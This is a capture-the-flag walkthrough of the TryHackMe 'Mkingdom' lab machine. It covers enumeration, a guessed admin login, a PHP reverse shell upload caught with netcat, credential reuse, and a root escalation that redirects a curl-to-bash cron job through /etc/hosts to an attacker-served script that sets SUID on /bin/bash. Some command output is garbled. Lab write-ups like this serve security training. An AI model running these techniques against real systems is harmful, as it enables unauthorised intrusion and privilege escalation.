Mkingdom THM Easy

First, before nmap scanning, test connectivity to the machine with a quick ping.

```
$ ping -c1 10.10.52.230
PING 10.10.52.230 (10.10.52.230) 56(84) bytes of data.
64 bytes from 10.10.52.230: icmp_seq=1 ttl=61 time=167 ms
```

```
--- 10.10.52.230 ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 166.848/166.848/166.848/0.000 ms
```

Once connectivity is established, initiate an nmap scan to find open ports available on the machine.

```
$ nmap -A 10.10.52.230 > nmap && cat nmap Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-15 18:21 EDT
```

Nmap scan report for 10.10.52.230

Host is up (0.16s latency).

Not shown: 999 closed tcp ports (conn-refused)

PORT STATE SERVICE VERSION

85/tcp open http Apache httpd 2.4.7 ((Ubuntu))

http-title: 0H N0! PWN3D 4G4IN

_http-server-header: Apache/2.4.7 (Ubuntu)

We see here that there is only one port open; a web app port on port 85, with an http title of 0H NO! PWN3D 4G4IN. With this we can add the ip and hostname to /etc/hosts, and visit the web app on port 85.

\$ echo 10.10.52.230 0H N0! PWN3D 4G4IN | sudo tee -a /etc/hosts

\$ firefox 10.10.52.230:85

We are greeted with a dead end web page.






Time to do some fuzzing. Maybe we can find some additional endpoints and gain a lead. We can use Gobuster to achieve this.


\$ gobuster dir -u http://10.10.52.230:85/ -w//wordlists/dir/raft-large-directories-lowercase.txt ==================================	
Starting gobus	==== ster in directory enumeration mode ====================================
======================================	(Status: 301) [Size: 312]


And we have found an endpoint at /app. Let's visit it and see what we find.


\$ firefox 10.10.52.230:85/app




Click jump.










Exploring the blog page, we see some functionality for file uploads. Unfortunately, there are file upload restrictions that don't allow us to do alot from here.






However, there is a login button at the bottom of the page, that will allow us to access the admin panel of the site.






By doing a little bit of research on the concrete5 web framework, we find out the there are usually default credentials of admin/admin. However, the admin password doesn't work. But, with a little bit of password guessing, we find that the password is, well, password.


Once logged in, we can now view the admin panel.




Inside of system and settings, we can edit the allowed file types.




Add php to the list, and click save.



Going to the files section, we can now upload a php reverse shell into the system.



Once the upload is complete, we see the link to our uploaded php revshell.



Copy the link, and we can now trigger the reverse shell file using curl. First, set up a netcat listener to catch the shell.

\$ nc -lvnp 4447 listening on [any] 4447 ...

Now, using curl, trigger the reverse shell.

\$ curl http://10.10.13.251:85/app/castle/application/files/5817/2644/4687/phpshell.php

Our shell connects back and we are in as www-data.

```
$ nc -lvnp 4447 listening on [any] 4447 ... connect to [10.6.95.150] from (UNKNOWN) [10.10.13.251] 35880 Linux mkingdom.thm 4.4.0-148-generic #174~14.04.1-Ubuntu SMP Thu May 9 08:17:37 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux 20:25:44 up 1:07, 0 users, load average: 0.00, 0.00, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=33(www-data) gid=33(www-data) groups=33(www-data),1003(web) sh: 0: can't access tty; job control turned off $ whoami www-data
```

We can gain a better shell with a python pty shell.

\$ python3 -c 'import pty; pty.spawn("/bin/bash")'

Inside of /var/www/html/app/castle/application/config, we find a database file, with the password for user toad in plaintext. Using this, we can make lateral movement to user toad.

Now that we are user toad, let's look around for anything interesting. We can list all hidden files in toads home directory with \$ ls -a.

```
toad@mkingdom:~$ ls -a
ls -a
. . .compiz .ICEauthority Public .xsession-errors
.. .config .local smb.txt .xsession-errors.old
.bash_history Desktop Music .ssh
.bash_logout Documents .mysql_history Templates
.bashrc Downloads Pictures Videos
.cache .gconf .profile .Xauthority
```

Looking inside the .bashrc file, we find an exported password token encoded in base64. We can do a quick grep for environment variables within the shell to list it in the terminal.

```
toad@mkingdom:~$ env | grep PWD_token
env | grep PWD_token
PWD_token=aWthVGVOVEFOdEVTCg==
```

Decoding this from base64, gives us the password 'ikaTeNTANtES'. We can now use this password to access user mario.

```
toad@mkingdom:~$ su - mario
su - mario
Password: ikaTeNTANtES
```

mario@mkingdom:~\$

Now that we are mario, let's do a quick check for sudo privileges with sudo -l

```
mario@mkingdom:~$ sudo -l
sudo -l
Matching Defaults entries for mario on mkingdom:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/ssin\:/bin\:/snap/bin,
    pwfeedback
```

User mario may run the following commands on mkingdom: (ALL) /usr/bin/id

We see that mario may run the /usr/bin/id binary. However, this does not help us much, as the id binary is not very useful for privilege escalation to root. Also, strangely enough, mario cannot run the /bin/cat binary from the /home/mario directory to read user.txt. However, there are a couple of ways around this. One way is to move the user.txt file to /tmp. There are usually less access restrictions inside the /tmp directory, so we can run the /bin/cat binary to read it from there.

We can simultaneously move the user.txt file to /tmp and read it all in one swift command with;

\$ cp user.txt /tmp && cat /tmp/user.txt

This will reveal the user flag.

Another way that is much shorter and simpler, is to simply use the more binary.

\$ more user.txt

This will also reveal the user flag for us.

Now on to root. This is probably the most complex part of the box, but I found it very interesting.

Looking around the system for interesting files, we stumble across a log file located at /var/log/up.log. Reading it reveals an app called 'TheCastleApp', which may be linked to other useful files within the system.

mario@mkingdom:~\$ cat /var/log/up.log cat /var/log/up.log
There are 39830 folder and files in TheCastleApp in - - - - > Mon
Sep 16 14:31:01 EDT 2024.

Grepping around the file system recursively for 'TheCastleApp', we indeed find two files of interest.

mario@mkingdom:~\$ grep -lr 'TheCastleApp' /var 2>/dev/null grep -lr 'TheCastleApp' /var 2>/dev/null /var/log/up.log /var/www/html/app/castle/application/counter.sh

Let's take a look at the counter.sh file.

mario@mkingdom:~\$ cat /var/www/html/app/castle/application/counter.sh cat /var/www/html/app/castle/application/counter.sh #!/bin/bash echo "There are \$(ls -laR /var/www/html/app/castle/ | wc -l) folder and files in TheCastleApp in - - - - > \$(date)."

And the up.log file.

mario@mkingdom:~\$ cat /var/log/up.log cat /var/log/up.log
There are 39830 folder and files in TheCastleApp in - - - - > Mon
Sep 16 16:51:02 EDT 2024.

It appears these two files share a symbiotic relationship. Let's run pspy to see processes running within the system. First, download pspy to your attack box.

\$ wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/p spy64 -O pspy

Then, setup a python server in the download location.

```
$ python3 -m http.server 4441
Serving HTTP on 0.0.0.0 port 4441 (http://0.0.0.0:4441/) ...
```


And grab it from the victim machine.

mario@mkingdom:~\$ wget http://10.6.95.150:4441/pspy -O/tmp/pspy

You should see it listed in /tmp.

mario@mkingdom:~\$ ls /tmp ls /tmp pspy

Now, run pspy and wait for just a bit. You should see something like this.



As we can see, there is a cron job doing two things. First, its running curl

mkingdom.thm:85/app/castle/application/counter.sh, Then, it is running /bin/sh -c curl

mkingdom.thm:85/app/castle/application/counter.sh | bash >>

/var/log/up.log, which feeds the output from counter.sh into bash via the pipeline. This in turn causes bash to run the counter.sh script.

Now that we know that the counter.sh script is being run once every minute, we can create a counter.sh script of our own, and manipulate the server address that the cron job reaches out to. Running ls -l /etc/hosts, we can see that mario has read/write permissions on the /etc/hosts file.

mario@mkingdom:~\$ ls -l /etc/hosts

-rw-rw-r-- 1 root mario 342 Jan 26 2024 /etc/hosts

Knowing this, we can change the /etc/hosts file, so that the cron job will reach for the script on a different server.

mario@mkingdom:~\$ cp /etc/hosts /tmp/hosts.bak

mario@mkingdom:~\$ cat /etc/hosts | sed 's/127\.0\.1\.1\tmkingdom\.thm/10\.6\.95\.150\t\tmkingdom.thm/g' > /tmp/replace_hosts

mario@mkingdom:~\$ cat /tmp/replace_hosts > /etc/hosts

On our host machine, create a directory for the malicious counter.sh file.

\$ mkdir -p /tmp/app/castle/application

Then, create the malicious script.

\$ nano /tmp/app/castle/application/counter.sh

The script should look something like this. Once the cronjob reaches out for this script, it will effectively set the SUID bit on the /bin/bash binary.

#! /usr/bin/env bash

Set SUID bit on /bin/bash binary chmod 4755 /bin/bash

Setup a python server on port 85. The cronjob will soon make its next grab for the file.

\$ sudo python3 -m http.server 85 --directory /tmp

Once it does, you should see something like;

10.10.80.77 - - [16/Sep/2024 18:24:02] "GET /app/castle/application/counter.sh HTTP/1.1" 200 -

Now, check the SUID bit of /bin/bash.

mario@mkingdom:~\$ ls -l /bin/bash ls -l /bin/bash -rwsr-xr-x 1 root root 1021112 May 16 2017 /bin/bash

Then become root with;

mario@mkingdom:~\$/bin/bash-ip

bash-4.3#

For some odd reason, root.txt is still unreadable in its current directory. So, cd to /root and do;

bash-4.3# cp root.txt /tmp && cat /tmp/root.txt

And you should have the root flag. Congrats!!!!